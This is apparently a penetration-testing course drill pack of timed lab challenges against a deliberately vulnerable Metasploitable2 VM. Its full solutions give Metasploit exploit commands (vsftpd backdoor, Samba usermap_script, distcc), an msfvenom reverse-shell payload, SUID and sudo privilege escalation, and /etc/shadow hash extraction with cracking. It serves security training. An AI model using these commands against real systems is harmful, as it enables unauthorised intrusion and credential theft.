Drill Pack 09 — Exploitation & Privilege Escalation¶
Deep, Practical-style pack for getting a shell and escalating to root. Every challenge has a full solution (exact
msfconsole/searchsploit/msfvenomcommands, expected output, the exact answer, and a ⚡ faster route). Solve from the recipes in../challenge-playbooks.mdwith a timer running; expand the solution only when done or stuck. Theory lives in Module 06 — System Hacking and the tools in../../kali/09-metasploit.md+../../kali/14-post-exploitation-pivoting.md. Lab targets only.Setup. Lab running: Kali
192.168.56.10, Metasploitable2192.168.56.20(deliberately vulnerable — vsftpd 2.3.4 backdoor, Samba 3.0.20usermap_script, distccd, UnrealIRCd 3.2.8.1). Start the Metasploit DB once (sudo msfdb init) and setsetg RHOSTS 192.168.56.20/setg LHOST 192.168.56.10so you never retype them. Fingerprint first:db_nmap -sV 192.168.56.20.
Score yourself ✅ under target / ⚠️ over time / ❌ needed the solution. Re-drill anything not ✅.
Drill 1 — Find the public exploit with searchsploit ⏱️ 5 min¶
Q: Your scan shows vsftpd 2.3.4 on port 21 of 192.168.56.20. Find the public exploit for it — what is the EDB-ID of the Metasploit backdoor module?
Solution
searchsploit vsftpd 2.3.4
# ---------------------------------------------- ---------------------------------
# Exploit Title | Path
# ---------------------------------------------- ---------------------------------
# vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
# vsftpd 2.3.4 - Backdoor Command Execution (M | unix/remote/17491.rb
searchsploit -p 17491 # show full path + copy to clipboard
Drill 2 — Exploit the vsftpd backdoor, read /root ⏱️ 6 min¶
Q: Exploit the vsftpd 2.3.4 backdoor on 192.168.56.20, list /root, and read /root/reset_logs.sh. What user are you?
Solution
msfconsole -q
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.20
msf6 > run
[+] 192.168.56.20:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.20:21 - UID: uid=0(root) gid=0(root)
[*] Command shell session 1 opened (192.168.56.10 -> 192.168.56.20:6200)
id # uid=0(root) gid=0(root)
whoami # root
ls -la /root ; cat /root/reset_logs.sh
Drill 3 — Upgrade a shell to Meterpreter ⏱️ 10 min¶
Q: Turn a plain command-shell session into a Meterpreter session, then run sysinfo. What OS does the target report?
Solution
From the vsftpd shell (Drill 2), drop back to msf and upgrade the session:# in the shell session:
background # (or Ctrl+Z) -> returns to msf6 >
msf6 > sessions -l # note the shell session id, e.g. 1
msf6 > sessions -u 1 # runs post/multi/manage/shell_to_meterpreter
[*] Meterpreter session 2 opened (192.168.56.10:4433 -> 192.168.56.20:...)
msf6 > sessions -i 2
meterpreter > getuid # Server username: root ... (uid=0)
meterpreter > sysinfo
Drill 4 — Build a payload with msfvenom and catch it ⏱️ 10 min¶
Q: Build a reverse-TCP Meterpreter executable with msfvenom, stand up a multi/handler to match, and confirm the callback opens a session.
Solution
Build the payload (Windows exe for the lab Windows VM):msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.10 LPORT=4444 -f exe -o /tmp/lab_payload.exe
# You should see: "Payload size: ... bytes" and "Saved as: /tmp/lab_payload.exe"
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.56.10
msf6 > set LPORT 4444
msf6 > run
# [*] Started reverse TCP handler on 192.168.56.10:4444
Drill 5 — Samba usermap_script → root shell ⏱️ 8 min¶
Q: Exploit the Samba 3.0.20 usermap_script flaw (CVE-2007-2447) on 192.168.56.20 to get a shell. What user does it run as?
Solution
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 192.168.56.20
msf6 > set LHOST 192.168.56.10
msf6 > run
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.20:139)
id # uid=0(root) gid=0(root)
Drill 6 — distcc → shell (a non-root foothold) ⏱️ 8 min¶
Q: Exploit the distccd service (port 3632, CVE-2004-2687) on 192.168.56.20. What user do you land as — and why is it not root?
Solution
msf6 > use exploit/unix/misc/distcc_exec
msf6 > set RHOSTS 192.168.56.20
msf6 > set LHOST 192.168.56.10
msf6 > run
msf6 > sessions -i 1
id # uid=1(daemon) gid=1(daemon)
Drill 7 — SUID binary → root (GTFOBins) ⏱️ 12 min¶
Q: From the low-priv daemon shell (Drill 6), find a SUID-root binary you can abuse and escalate to root. What is the SUID path, and what command roots you?
Solution
Hunt for SUID binaries (the bit that makes a program run **as its owner**, often root):find / -perm -4000 -type f 2>/dev/null
# /bin/ping /bin/su /usr/bin/passwd /usr/bin/sudo ... and the interesting one:
# /usr/bin/nmap <-- legacy nmap with an interactive mode
nmap --interactive
nmap> !sh
# id -> uid=1(daemon) ... euid=0(root)
whoami # root
Drill 8 — Sudo privilege escalation ⏱️ 8 min¶
Q: SSH into 192.168.56.20 as msfadmin (password msfadmin). What is this user allowed to run with sudo, and how do you become root?
Solution
ssh msfadmin@192.168.56.20 # password: msfadmin
sudo -l # what may I run as another user?
User msfadmin may run the following commands on metasploitable:
(ALL) ALL
sudo -i # or: sudo su - or: sudo /bin/bash
id # uid=0(root) gid=0(root)
Drill 9 — Read a root-only file ⏱️ 6 min¶
Q: Now that you're root (any route above), read the root-only /etc/shadow and pull out the root password hash line. What is it (and what hash type)?
Solution
`/etc/shadow` is mode `640 root:shadow` — unreadable as a normal user, readable now:id # confirm uid=0 first
head -1 /etc/shadow # the root line
grep '^root:' /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
echo 'root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::' > sh.txt
john --format=md5crypt sh.txt --wordlist=/usr/share/wordlists/rockyou.txt
# or hashcat -m 500 (strip everything but the hash field first)
Score yourself¶
| # | Drill | Target | ✅ / ⚠️ / ❌ |
|---|---|---|---|
| 1 | searchsploit → EDB-ID | 5 min | |
| 2 | vsftpd backdoor → root, read /root | 6 min | |
| 3 | Upgrade shell → Meterpreter (sysinfo) | 10 min | |
| 4 | msfvenom payload + multi/handler | 10 min | |
| 5 | Samba usermap_script → root | 8 min | |
| 6 | distcc → low-priv (daemon) foothold |
8 min | |
| 7 | SUID binary → root (GTFOBins) | 12 min | |
| 8 | Sudo privesc (sudo -l → root) |
8 min | |
| 9 | Read root-only file (/etc/shadow) |
6 min |
Log ✅/⚠️/❌ in ../../PROGRESS.md and re-run every ⚠️/❌ until it's ✅ cold. Rule: always run id right after a shell lands — the answer to "what user are you?" is one command, and it decides whether you exploit next or escalate first.
Sources¶
- Metasploit official documentation — https://docs.metasploit.com/
- Offensive Security — Metasploit Unleashed (free course) — https://www.offsec.com/metasploit-unleashed/
- Rapid7 — msfvenom reference — https://docs.rapid7.com/metasploit/msfvenom/
- Exploit-DB / searchsploit — https://www.exploit-db.com/searchsploit
- GTFOBins (Unix SUID/sudo/binary abuse) — https://gtfobins.github.io/
- Rapid7 — Metasploitable 2 exploitation guide — https://docs.rapid7.com/metasploit/metasploitable-2/
- CVE-2007-2447 (Samba usermap_script) — https://nvd.nist.gov/vuln/detail/CVE-2007-2447
- MITRE ATT&CK — Privilege Escalation (TA0004) — https://attack.mitre.org/tactics/TA0004/